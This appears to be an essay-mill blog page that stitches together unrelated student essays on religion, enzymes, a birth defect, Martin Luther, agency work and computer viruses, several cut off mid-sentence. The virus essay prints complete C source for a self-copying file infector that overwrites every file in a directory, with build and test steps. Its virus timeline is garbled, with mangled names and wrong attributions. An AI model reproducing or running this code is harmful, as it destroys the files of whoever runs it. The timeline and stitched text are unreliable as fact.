Thursday, November 28, 2019

Religions Spread Through Conquest Essays (2421 words) - Culture

Religions Spread Through Conquest Religions Spread Through Conquest- When studying history, both in a professional and academic sense, we try to make connections between civilizations and time periods. Historians have attempted to discover universal constants of human nature, a bond that forms from continent to continent, human being to human being. Is there a constant quality that all peoples posses, and is reflected in all civilizations? Indeed, it is extremely difficult to make generalizations about centuries of modern history. To say that something is true of all of history is virtually impossible, as a counter-example exists for just about anything that can be said of any group of civilizations. To say that all religions are spread by violence is equally unfair and untrue - because contrasted religions has been spread in exceedingly diverse regions of the world, by vastly different cultures. Islam, as a prime example, has been characterized inequitably by historians and the media as a religion of violence. To put it bluntly, as this article does, Islam was mainly spread through Arab territorial conquests (Sudo, 4). However, upon examination, it is not fair to make the generalization that Islam is a religion of violence, and one notices when looking at world religion on a whole, one finds that Islam was no more violent than any other religion. In fact, not only is Islam not a fundamentally violent philosophy, but we can also see that many other religions normally considered non-violent, such as Christianity or Hinduism, have been spread through bloody conquest. Thus, in searching for a universal constant of history, we ought not fall into the fallacy of abstractions, as Sydney J. Harris keenly puts it, and assume that because of isolated incidents and conflicts of territorial ambitions, that all religions have violent tendencies. Islam has, throughout the centuries, been somewhat a victim of circumstance - indeed it has been perceived by many as oppressive and cruel. This belief originated over a thousand years ago, when Islamic peoples first threatened the western world. As they slowly undermined Byzantine authority, Christians became terrified of their presence, resulting in widespread animosity and aversion. Hindus and Buddhists of the South Asian subcontinent lived under Islamic law for hundreds of years (Ahmad, et. al., 186), and eventually, in the twentieth century, split the region into angry factions (Ahmad, et. al., 207). Mohammed, the prophet of Islam, was a great warrior. This invariably lead defeated peoples to believe that he begot a cult of war and violence. Over the centuries, it also has developed the ability to instill a sense of holy purpose onto its believers and soldiers, where they go into a battle of certain death for their faith in the jihad, or holy war. Even today, the jihad is still a potent source of conflict and aversion, as the many of the problems in the Middle East center around the issue of Islamic Fundamentalism and the jihads. Originally, Islam was perceived by western historians as a religion of violence and conquest; by preying on the caravans of the Quraish, [Mohammed] weakened them to the point of submission (Mohammed and Islam, 1). In fact, Mohammed was a warrior, aristocrat, and brilliant strategist - a stark contrast to many other holy men of history. He was forced to both defend his cities and force submission, as the passage had shown, because of the strong military powers of his religious predecessors and oppressors, the pagans of the Middle East. Islam means submission according to the Islam discussion in class - and one might assume that the submission was attained through military and forceful means. In fact, while Mohammed preached peace from 610 to 622 AD, he attracted few converts and was persecuted by the current ruling paganistic regime. After the visions of 622 AD, he realized that his cause was even more urgent than before, and only at that point did he begin to utilize his military skills (Class Discussion). However, despite the more violent nature that his quest took, even after the revelations by Gabriel in 622 AD, by reciting his revelations aloud, Mohammed made many converts, (Mohammed and Islam,1). Mohammed was not a purely violent man, but also a great speaker and demagogue (Mueller,

Sunday, November 24, 2019

Effect of concentration of copper sulphate on the action of amylase to break down starch Essays

Effect of concentration of copper sulphate on the action of amylase to break down starch Essays Effect of concentration of copper sulphate on the action of amylase to break down starch Paper Effect of concentration of copper sulphate on the action of amylase to break down starch Paper There are two ways that we could have consumed copper sulphate. Water pipes are responsible for transporting water, and some of them are made out of copper. Copper pipes can become rusted if there is high sulphate content in the water, basic copper sulphate is precipitated which can grow through the pipe wall creating pit holes [1]. Copper sulphate is also used in some places to treat sewer lines, tree roots are constantly looking for water and organic sources and sewer lines are the perfect site for them. Tree roots will penetrate and damage the pipes which will is expensive to repair. Copper sulfate kills tree roots without killing the tree or other plants [2], therefore copper sulphate is poured into these pipes to kill the tree roots. This way there is a small chance that copper sulphate will leak into the pipes that are used for drinking. Copper sulphate can do a lot of harm to the human body, but very little has been discussed on the effect of copper sulphate on amylase, which is an enzyme that is present in human saliva and in the small intestines, therefore I want to perform an experiment to find out how the concentration of copper sulphate will affect the action of amylase. Copper sulphate Copper sulphate has the formula CuSO4 and is commonly used to control fungus diseases [17], both in agriculture and medicine. According to the Turkish Journal of Zoology (source 16), copper sulphate can inhibit the activity of amylase by 5%. Enzymes- Alpha Amylase Enzymes are biological catalyst, and a catalyst is substance which speeds ups a chemical reaction but remains unchanged itself at the end. [71] Enzymes are biological catalyst because they are globular protein molecules that are made by living cells to speed up reactions inside a living organism. There are three levels of structure of enzyme; the primary, secondary and tertiary structure. The primary structure is the order and type of amino acids that made up the chains. The secondary structure is the folding of the chains into either beta sheets or helix. The tertiary structure is the overall folding of the chains into a three dimensional, globular shape with an active site of a specific shape. Amylase is an enzyme made in the salivary gland and pancreas in the human body. They are used to break down carbohydrates, in other words starch are broken down to sugar or glucose [8]. Enzymes are sensitive to its environment, changes to the pH and temperature will affect the structure and function of enzyme, and therefore these factors have to be kept the same during the experiment. How does an enzyme work? Being a biological catalyst, enzymes work by providing an alternative pathway that has a lower activation enthalpy for reaction to take place therefore speeding up reactions without changing any other factors such as temperature and concentration. Many reactions in the body will not happen at all because the activation enthalpy is too high to reach, therefore the presence of enzymes are vital in every organisms for reactions to take place and to stay alive. The first proposed theory of how the enzyme work is called the lock and key hypothesis, where the substrate is imagined being like a key whose shape is complementary to the enzyme or lock. [72] The substrate will fit into the active site of the enzyme and will form an enzyme-substrate complex. Once this complex is formed, bonds within the substrate will be affected by the bonds in the enzyme; bonds will break and reform, ultimately forming products. The products will then leave the active site of the enzyme, leaving the enzyme free again to accept another substrate. The diagram below shows how the enzyme works. A diagram showing how enzyme works Induced fit hypothesis However this is not completely true, by using technique such as X-ray crystallography and computer assisted modeling [73], we can say that the active site is actually not a perfect fit to the substrate. So when the substrate approach the active site, either the shape of the substrate or the shape of active site will change slightly so they can fit precisely together. In addition, the active site could be modified as substrate interacts with the enzyme. The amino acids which make up the active site are moulded into precise shape which enables the enzyme to perform its catalytic function effectively [74]. The diagram below illustrates the induced fit theory, the shape is different when there is no substrate bonded to it and when there is substrate bonded to it. A diagram showing the induced fit theory Enzyme inhibition There are molecules that exist which act as enzyme inhibitors. They will disrupt the normal function of the enzyme, preventing it from working so the rate of reaction will decrease, or no reaction at all. There are two forms of inhibitions; competitive and non-competitive inhibitions. Competitive inhibition Competitive inhibitors will compete with the substrates for the active sites of the enzyme. This occur when a structure which is sufficiently similar to that of the normal substrate to be able to fit into the active site [75]. As the active site is occupied by the inhibitor, the substrate cannot bind to the active site to get catalysed, so rate of reaction is decreased. However, a competitive inhibition is usually reversible if sufficient substrate molecules are available to ultimately displace the inhibitor [12]. Non-competitive reversible inhibition The inhibitor has not got a complementary shape to the active site of the enzyme; it will bind to other parts of the enzyme instead. The binding of the inhibitor to the enzyme will have no effect on the ability of the substrate to bind to the enzyme, but it makes it impossible for catalysis to take place [76]. Unlike the competitive inhibitor, the rate of reaction will not be affected by the concentration of substrate. Non-competitive irreversible inhibition This type of inhibitor is non-competitive because it has not got a complementary shape that can fit into the active site of enzyme, so will not compete with the substrate for the active site, and the inhibition is irreversible. Heavy metal ions are typical of this type of inhibitors. They will combine permanently to the sulphydryl (-SH) groups. This could be in the active site or elsewhere [13] of the enzyme. The metal ions replace the hydrogen in -SH to form -SX. This will alter the structure and active site of the enzyme permanently, therefore enzymes can no longer catalyse the break down of starch. The diagram above shows the how heavy metal ion, in this case silver, will substitute hydrogen to form -SAg bond. This will alter the shape of active site so the substrate can no longer fit into it to get catalysed. As mentioned above, heavy metal ions are typical of this type of inhibition; copper is a heavy metal ion, so if copper sulphate does inhibit the action of amylase, I can conclude that copper sulphate is a non-competitive irreversible inhibitor. The collision theory The collision theory explains how reactions occur. Two particles can only react together if they come into contact with each other. They first have to collide, and then they may react [21]. They may react because colliding particles need to satisfy two requirements to cause a successful collision or reaction. The orientation of collision When two particles collide together, they need to have the right orientation when they come into contact for them to react. The diagram below illustrates this. There are four different orientations of collisions with enough energy for a successful collision to happen. However only collision 1 results in a successful collision, this is because it has the right orientation to collide with the bond which results in a successful collision, the particles in the other three collisions will simply bounce off each other [21]. Energy of collision The second requirement for a reaction to take place is that particles must collide with a certain minimum energy, called the activation energy [21]. Without sufficient energy, the two particles will simply bounce off each other after they collide. The activation enthalpy of a reaction is shown below. Starch and iodine solution This is a test for the presence of starch in a solution. When iodine solution is added to a solution contatining starch, a blue black colour will form. This is because the amylose, or straight chain portion of starch, forms helices where iodine molecules assemble, forming a dark blue/black color. [15] This means that when starch is being broken down by the amylase, the amylose will start break down too into smaller units, therefore losing the helics shape around the iodine molecules, the blue-black colour will then start to disappear. I can exploit this characteristic in my experiment to dertermine the end point. Using a colorimeter to monitor the light absorbance, I can determine the rate of reaction as it is the same as how quickly the solution decolourises.

Thursday, November 21, 2019

Duodenal Atresia Research Paper Example | Topics and Well Written Essays - 250 words

Duodenal Atresia - Research Paper Example Usually, duodenal atresia brings about other birth defects as well. Symptoms of duodenal atresia include swelling of upper abdominal, heavy early vomiting, continued vomiting even without being fed, lack of bowel movements after the initial meconium stools, and lack of urination following the initial voidings. Amniotic fluid is observed in the womb in excessive amounts by a fetal ultrasound; a condition termed as polyhydramnios. X-ray of the abdomen may reveal the presence of air in the start of the duodenum and the stomach, with no air in the further parts of the duodenum; a condition termed as double-bubble sign. In order to treat duodenum atresia, the stomach is decompressed by placing a tube. An intravenous tube is inserted to correct dehydration and electrolyte abnormalities. Other congenital anomalies are also evaluated alongside. A surgery may be required to remove the duodenal blockage, commensurate with the nature of abnormality. In most cases, the patient recovers after the treatment whereas if left untreated, duodenal atresia can prove fatal. There is no way to prevent duodenal

Wednesday, November 20, 2019

Martin luther in germany Essay Example | Topics and Well Written Essays - 250 words

Martin luther in germany - Essay Example But he was not confined to lecturing at the University and was invited to preach in the Parish Church, where his preaching became highly influential. His disillusionment with the Pope followed his short visit to Rome in 1510 (Broome, 5) which became reflected in his preachings. In 1512 Luther was made a Doctor of Divinity at Wittenberg University, and in 1516, he was asked to preach the Gospel as was the truth to him, in a large number of monasteries in the Thuringian area. Luther condemned the Catholic Church’s collection of Papal Indulgences in 1517, (Bainton, 35) and his works against Papal ideology, including his 95 Theses, resulted in his excommunication from the Church in 1521. Following his appearance before the Diet of Worms, and the ban on placed on Luther’s works, Luther was hidden behind the secure walls of Wartburg Castle. At Wartburg, Luther continued his prolific writing and continued to influence the reformation occurring in the Church in Wittenberg retur ning to Wittenberg in March 1522. On 25th June 1525, Luther married a former nun, Katherina Von Bara and together they had 6 children. The Luther household was in the Augustinian monastery in Wittenberg and also included Luther’s sister’s 6 children. From there, Lucas continued his reformation against the Papal doctrines through his preaching and writing. Martin Luther died on 18th February 1546 in his home-town of Eisleben during a visit accompanied by his 3 sons

Monday, November 18, 2019

Human Resource Management and Employment Relations Essay

Human Resource Management and Employment Relations - Essay Example It has been referred to as a flexible staffing arrangement (Houseman, 2001), a market-mediated deal (Abraham, 1990), a flexible working practice (Brewster et al, 1997) or more generally as atypical employment (De Grip et al 1997; Crdova 1986). Based on the definitions, all of them imply that non-standard employment is a clear departure from the standard work arrangement. As it is, standard work arrangements are basically linked to full-time positions that are founded on an unspecified contract and are carried out at the employer's site under the employer's control and supervision (Mckenberger, 1985, p. 429; Bosch, 1986, p.165; Talos, 1999, pp. 417-418; Rogowski & Schmann, 1996). Although, international economic changes and modifications have toughened competition and intensified existing ambiguities within firms, the same have exerted greater pressure on these companies to push and aim for bigger profits and more flexible work arrangements. Generally, there have always been employment relations that did not fit in to the normative prototype of full-time work (Peck, 1996) and this is quite true even for temporary agency work that initially surfaced in the United States after the Second World War (Mitlacher, 2004, p. 9). As a classic example of a non-standard employment relation, temporary agency work entails the externalization of administrative control and responsibility (Pfeffer & Baron, 1988). Temporary work agencies hire workers and employ them out to a client company where they work at the client's premises and direction while the agency charges a fee for the service (Kalleberg, 2000, p. 346). This consequently creates a triangular relationship wherein an employee sets up different linkages with various establishments (Vosko, 1997). In the past decade, the use of temporary work agencies has been prominently evident in most European business firms and in some commercial organisations in Asian countries (Bergstrm & Storrie, 2003). Consequently, the number of temporary workers in the global labour market greatly increased which correspondingly created a new type of employment relationship within firms. As it is, engaging temporary workers through temporary work agencies has now become an ordinary procedure in all types of work organisations and such emerging trend has been mirrored in contemporary publications generated from the human resource and employment relations community (Beynon et al 2002; Mangan 2000; Carre et al. 2000; Barker & Christensen, 1998; Blanpain & Biagi, 1999; Felstead & Jewson, 1999). Though the open-ended employment contract still dominates, the role of temporary agency work can no longer be ignored. Obviously, a huge number of organisations are taking advantage of these workers and the nature of the tasks assigned to them is becoming more complex. However, even with this reality, only a small number of empirical investigations have been made on the human resource management of temporary employment and those that exist have not given so much attention to its peculiarities and dynamics. The temporary employment workforce is theoretically considered as a group consisting of "contingent workers" (Polivika 1986) and the benefits in employing such workers can be

Friday, November 15, 2019

Background Of Studies On Computer Viruses

Background Of Studies On Computer Viruses A computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer. As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves. Section 1.2 Background of Studies on Various Computer Viruses Boot Sector Viruses This type of viruses has ability to hide in boot sector. The viruses will load into memory when there is booting system and trying to read from hard disk. Boot sector viruses are more spread since old time when floppy disk was popular. But now we hardly seen them since many of them only can spread through floppy disk. This type of virus affects the boot sector of a floppy or hard disk. This is a crucial part of a disk, in which information on the disk itself is stored together with a program that makes it possible to boot (start) the computer from the disk. The best way of avoiding boot viruses is to ensure that floppy disks are write-protected and never start your computer with an unknown floppy disk in the disk drive. Examples of boot viruses include: Polyboot.B, AntiEXE. Companion Viruses Companion Viruses is another kind of viruses. When user computer infect by this sort of viruses, it will create another type file from an existing file in same directory (such as creating file.com from file.exe in the same folder), some companion viruses create file.exe from any folder. It can be considered file infector viruses like resident or direct action types. They are known as companion viruses because once they get into the system they accompany the other files that already exist. In other words, in order to carry out their infection routines, companion viruses can wait in memory until a program is run (resident viruses) or act immediately by making copies of themselves (direct action viruses). Some examples include: Stator, Asimov.1539, and Terrax.1069 Encrypted Viruses This type of viruses consists of encrypted malicious code, decrypted module. The viruses use encrypted code technique which make antivirus software hardly to detect them. The antivirus program usually can detect this type of viruses when they try spread by decrypted themselves. Logic Bomb Viruses Logic Bomb Viruses or sometime know as Time Bomb is small piece of malicious code or program which have ability to insert itself to other programs or system and perform specific action when the conditions are met (most Logic Bomb developers use date as conditions). The Logic Bomb does nothing until pre-programmed date is reached. Logic Bomb can perform any malicious things based on pre-programmed within it such as deleting file or displaying unwanted message or lock program and so on. They are not considered viruses because they do not replicate. They are not even programs in their own right but rather camouflaged segments of other programs. Their objective is to destroy data on the computer once certain conditions have been met. Logic bombs go undetected until launched, and the results can be destructive. Macro Viruses When talking about Macro Viruses, we refer to viruses which infect macro of other applications such as Microsoft Word, Microsoft Excel. The viruses are written in a macro language and use it to distribute themselves. Macro viruses will run automatically when user open document. Usually this type of virus cause harmless to your computer, but instead they are annoying by automatically inserting undesired texts or symbols. Example of Macro Virus: WM.Concept, it was introduced in 1995 the first macro virus that spread through Microsoft Word. And another popular one is Melissa that is first found in 1999, it also can spread through MS Word, Excel and Outlook. Multipartite Viruses Multipartite Viruses is type of viruses which infect user computer on both part boot sector and executable files and programs at the same time, with this condition, the viruses spread faster than boot sector or file infector alone. It changes the paths that indicate the location of a file. By executing a program (file with the extension .EXE or .COM) which has been infected by a virus, you are unknowingly running the virus program, while the original file and program have been previously moved by the virus. Once infected it becomes impossible to locate the original files Example: Ghost ball, the first multipartite virus. Nonresident Viruses This type of viruses is similar to Resident Viruses by using replication of module. Besides that, Nonresident Viruses role as finder module which can infect to files when it found one (it will select one or more files to infect each time the module is executed). Polymorphic Viruses: Polymorphic Virus is similar to encrypted viruses; it can infect files with an encrypted copy of itself. The viruses use difference technique to replicate themselves. Some polymorphic viruses are hardly to detect by antivirus software using virus signature based, because it do not remain any identical after replication. Polymorphic viruses encrypt or encode themselves in a different way (using different algorithms and encryption keys) every time they infect a system. This makes it impossible for anti-viruses to find them using string or signature searches (because they are different in each encryption) and also enables them to create a large number of copies of themselves. Examples include: Elkern, Marburg, Satan Bug, and Tuareg. Resident Viruses Resident Viruses or known as Memory Resident Viruses is malicious module. The viruses can replicate module and installing malicious code into computer memory (RAM). The viruses are commonly classified into two main categories: Fast Infectors and Slow Infectors. This type of virus is a permanent which dwells in the RAM memory. From there it can overcome and interrupt all of the operations executed by the system: corrupting files and programs that are opened, closed, copied, renamed etc. Examples include: Randex, CMJ, Meve, and MrKlunky. Stealth Viruses / Worm Stealth Viruses is some sort of viruses which try to trick anti-virus software by intercepting its requests to the operating system. It has ability to hide itself from some antivirus software programs. Therefore, some antivirus program cannot detect them. A worm is a program very similar to a virus; it has the ability to self-replicate, and can lead to negative effects on your system and most importantly they are detected and eliminated by antivirus. Examples of worms include: PSWBugbear.B, Lovgate.F, Trile.C, Sobig.D, and Mapson. Section 1.3.1 Research Question 1. How did the diff. types of computer Viruses Created when, where, by whom? 2. How are they attack/work on the end user computers? 3. How we protect ourself from such type of computer viruses? 4. What will be the future trend of computer viruses? Section 1.3.2 Research Aim The research aims at understanding how Computer viruses is evolving and attacking on day to day computer business Section 1.3.3 Research Objective The objective of this research is to help to the User of Computer to make decisions on the how to solved the problem created because of computer viruses from a long time perspectives.Also to develop contrasting measure between the creator of computer viruses and the end user of the computer. Section 1.3.4 Research Hypothesis Many of the viruses that have had the greatest impact have been intended to be totally benign. Unfortunately, small errors in program code have led to disastrous results. The most frequent such error is when a virus program, which was intended to infect a computer only once, doesnt realize it has already done its job, and keeps infecting the computer over and over. This was the problem with the infamous virus released at Cornell University on November 2, 1988, by Robert Morris, Jr., which rapidly brought the entire Internet system of computers to its knees. Where the small drain of a single virus can pass unnoticed by a computer system, millions of viruses can fill every bit of memory and use up every cycle of computing power of the computer they have invaded. The hidden message revealed by the widely publicized cases of infection by computer viruses is that existing computer systems of all sorts could be making very large errors that have never been recognized. This means the computer systems that take care of every aspect of the worlds financial life, computer systems that keep personal records on you and me, computer systems that support the military capabilities of the super-powers. Good system developers test systems thoroughly before installation, attempting to test every possible logic path. However, with a system of any reasonable level of complexity, this is an impossible task, so a major system is likely only to have been thoroughly tested for frequently occurring events. Its the infrequently occurring events, and especially the unforeseen combinations of events, that are the bane of systems developers. And those are also the areas where Poincares admonition is most likely to come into play. Chapter 2 Literature Review What is Computer virus? Term was first used by Fred Cohen in 1984. A computer virus is a small program a computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer. As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves History of Computer viruses The first academic work on the theory of computer viruses (although the term computer virus was not invented at that time) was done by John von Neumann in 1949 that held lectures at the University of Illinois about the Theory and Organization of Complicated Automata. The work of von Neumann was later published as the Theory of self-reproducing automata In his essay von Neumann postulated that a computer program could reproduce. In 1972 Veith Risak published his article Selbstreproduzierende Automaton mitt minimaler Informationsà ¼bertragung (Self-reproducing automata with minimal information exchange). The article describes a fully functional virus written in assembler language for a SIEMENS 4004/35 computer system. In 1984 Fred Cohen from the University of Southern California wrote his paper Computer Viruses Theory and Experiments It was the first paper to explicitly call a self-reproducing program a virus; a term introduced by his mentor Leonard Adelman. An article that describes useful virus functionalities was published by J. B. Gunn under the title Use of virus functions to provide a virtual APL interpreter under user control in 1984. Science Fiction The Terminal Man, a science fiction novel by Michael Crichton (1972), told (as a sideline story) of a computer with telephone modem dialing capability, which had been programmed to randomly dial phone numbers until it hit a modem that is answered by another computer. It then attempted to program the answering computer with its own program, so that the second computer would also begin dialing random numbers, in search of yet another computer to program. The program is assumed to spread exponentially through susceptible computers. The actual term virus was first used in David Gerrolds 1972 novel, When HARLIE Was One. In that novel, a sentient computer named HARLIE writes viral software to retrieve damaging personal information from other computers to blackmail the man who wants to turn him off. Virus programs History The Creeper virus was first detected on ARPANET, the forerunner of the Internet, in the early 1970s. Creeper was an experimental self-replicating program written by Bob Thomas at BBN Technologies in 1977 Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system. Creeper gained access via the ARPANET and copied itself to the remote system where the message, Im the creeper, catch me if you can! was displayed. The Reaper program was created to delete Creeper. A program called Elk Cloner was the first computer virus to appear in the wild that is, outside the single computer or lab where it was created. Written in 1981 by Richard Skeena, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk. This virus, created as a practical joke when Skeena was still in high school, was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the computer and displaying a short poem beginning Elk Cloner: The program with a personality. The first PC virus in the wild was a boot sector virus dubbed (c) Brain, created in 1986 by the Farooq Alvin Brothers in Lahore, Pakistan, reportedly to deter piracy of the software they had written. Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of the personal computer, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk, usually inadvertently. PCs of the era would attempt to boot first from a floppy if one had been left in the drive. Until floppy disks fell out of use, this was the most successful infection strategy and boot sector viruses were the most common in the wild for many years. Traditional computer viruses emerged in the 1980s, driven by the spread of personal computers and the resultant increase in BBS, modem use, and software sharing. Bulletin board-driven software sharing contributed directly to the spread of Trojan horse programs, and viruses were written to infect popularly traded software. Macro viruses have become common since the mid-1990s. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel and spread throughout Microsoft Office by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most could also spread to Macintosh computers. Although most of these viruses did not have the ability to send infected e-mail, those viruses which did take advantage of the Microsoft Outlook COM interface. Some old versions of Microsoft Word allow macros to replicate themselves with additional blank lines. If two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a mating of the two and would likely be detected as a virus unique from the parents. A virus may also send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating. Viruses that spread using cross-site scripting were first reported in 2002, and were academically demonstrated in 2005. There have been multiple instances of the cross-site scripting viruses in the wild, exploiting websites such as MySpace and Yahoo. Time line of computer viruses: In the early years floppy disks (removable media) were in fact the in the late 80s. Ultimately of course, the internet in all its forms became the major source of infection. YEAR VIRUS NAME BY WHOM TYPE 1982 ELK CLONER RICH SKRENTA 1983 COMPUTER VIRUS FRED COHEN 1986 BRAIN PAKISTAN BOOT SECTOR 1988 ARPANET ROBBERT MORRIS ENCRYPTED 1989 AIDS TROJAN 1990 ANTI-VIRUS S/W 1991 NON-ANTI S/W SYMANTEC POLYMORPHIC 1994 HOAX 1995 WORD 1999 MELLISA DAVID L. SMITH 2000 I LOVE U FILIPINE STUDENT 2001 CODE RED WORM 2003 SLAMMER 2004 MY DOON/NOVARG 2005 COMMWARRIOR-A RUSSIA CELL PHONE 2008 CONFICKER 2009 CYNER ATTACK W32.DOZOR 2010 STUNEXT TROJAN 2011 HTTP BOT BLACK SHADES Programming language used for creating Computer Viruses: C C++ Assembler PHP JAVA SCRIPT VB SCRIPT MICRO LANGUAGE/CODE How Computer Viruses Work As youll see in the next section, the term virus was applied to this type of software very early in its history. Its an apt metaphor, because a computer virus is, in many ways, similar to the biological Viruses that attack human bodies. A biological virus isnt truly a living, independent entity; as biologists will tell you, a virus is nothing more than a fragment of DNA sheathed in a protective jacket. It reproduces by injecting its DNA into a host cell. The DNA then uses the host cells normal mechanisms to reproduce itself. A computer virus is like a biological virus in that it also isnt an independent entity; it must Piggyback on a host (another program or document) in order to propagate. How a virus infects your computer 1. Virus program is launched. 2. Virus code is loaded into PC memory. 3. Virus delivers its destructive payload. 4. Virus copies itself to other programs. How Computer Viruses Work 5 If all a virus did was copy itself to additional programs and computers, there would be little Harm done, save for having all our programs get slightly larger (thanks to the virus code). Unfortunately, most viruses not only replicate themselves, they also perform other operations-many of which are wholly destructive. A virus might, for example, delete certain files on your computer. It might overwrite the boot sector of your hard disk, making the disk inaccessible. It might write Messages on your screen, or cause your system to emit rude noises. It might also hijack your E-mail program and use the program to send it to all your friends and colleagues, thus replicating itself to a large number of PCs. Viruses that replicate themselves via e-mail or over a computer network cause the subsidiary Problem of increasing the amount of Internet and network traffic. These fast-replicating viruses Called worms can completely overload a company network, shutting down servers and forcing ten s of thousands of users offline. While no individual machines might be damaged, this type of Communications disruption can be quite costly. As you might suspect, most viruses are designed to deliver their payload when theyre first executed. However, some viruses wont attack until specifically prompted, typically on a predetermined Date or day of the week. They stay on your system, hidden from sight like a sleeper Agent in a spy novel, until theyre awoken on a specific date; then they go about the work them were programmed to do. In short, viruses are nasty little bits of computer code, designed to inflict as much damage As possible, and to spread to as many computers as possible-a particularly vicious combination. How to Create a Computer Virus? This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Heres the source code of the virus program. #include #include #include #include #include #include FILE *virus,*host; int done, a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(*.*,ffblk,0); while(!done) { virus=fopen(_argv[0],r3. Virus delivers its destructive payload. b); host=fopen(ffblk.ff_name,rb+); if(host==NULL) goto next; x=89088; printf(Infecting %sn,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(ffblk); } } printf(DONE! (Total Files Infected= %d),a); end=clock(); printf(TIME TAKEN=%f SECn, (end-st)/CLK_TCK); getch(); } COMPILING METHOD: USING BORLAND TC++ 3.0 (16-BIT): 1. Load the program in the compiler, press Alt-F9 to compile 2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER) 3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR ITS SIZE) 4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT) 5. Once again follow the STEP 1 STEP 2.Now the generated EXE File is ready to infect USING BORLAND C++ 5.5 (32-BIT) : 1. Compile once, note down the generated EXE file length in bytes 2. Change the value of X in source code to this length in bytes 3. Recompile it. The new EXE file is ready to infect HOW TO TEST: 1. Open new empty folder 2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH PASTING IN THE NEW FOLDER) 3. Run the virus EXE file there you will see all the files in the current directory get infected. 4. All the infected files will be ready to re-infect. Why Viruses Exist Computer viruses, unlike biological viruses, dont spring up out of now here-theyre created. By people. And the people-programmers and developers, typically-who create computer viruses Know what theyre doing. These code writers deliberately create programs that they know will Wreak havoc on huge numbers of computer users. The question is why? It takes some degree of technical skill to create a virus. To that end, creating a computer Virus is no different than creating any other computer application. Any computer programmer or Developer with a minimal amount of skill can create a virus-all it takes is knowledge of a programming Language, such as C, Visual Basic, or Java, or a macro language, such as VBA. By using a build your own virus program-of which there are several available, Via the Internet underground. So, by definition, a virus writer is a person with a certain amount of technical expertise. But Instead of using that expertise productively, virus writers use it to generate indiscriminate mayhem among other computer users. This havoc-wreaking is, in almost all instances, deliberate. Virus writers intend to be destructive. They get some sort of kick out of causing as much damage as possible, from the relative Anonymity of their computer keyboards. Understanding Computer Viruses In addition, some developers create viruses to prove their technical prowess. Among certain Developers, writing a successful virus provides a kind of bragging right, and demonstrates, in some warped fashion, that the writer is especially skilled. Unfortunately, the one attribute that virus writers apparently lack is ethical sense. Virus programs can be enormously destructive, and it takes a peculiar lack of ethics to deliberately perpetrate such destruction on such a wide scale. In the end, a virus writer is no better than a common vandal. Except for the technical expertise required, the difference between throwing a rock through a window and destroying PC files via a virus is minimal. Some people find pleasure in destruction, and in our high-tech age, such Pleasure can come from writing destructive virus code. What You Can Do About Computer Viruses Theres very little you can do, on a personal level, to discourage those high-tech vandals who create Virus programs. There are plenty of laws already on the books that can be used to prosecute these criminals, and such criminal investigations-and prosecutions-have become more common in recent years. However, as with most criminal activity, the presence of laws doesnt always mean there are fewer criminals; the truth is, theres a new batch of virus writers coming online every day. All of which means that you cant rely on anyone else to protect you from these virus-writing Criminals. Ultimately, you have to protect yourself. Reducing Your Chances of Infection To make yourself less of a target for virus infection, take the following steps: Restrict your file downloading to known or secure sources. The surest way to catch a virus is to download an unknown file from an unknown site; try not to put you at risk like this unless you absolutely have to. Dont open any e-mail attachments you werent expecting. The majority 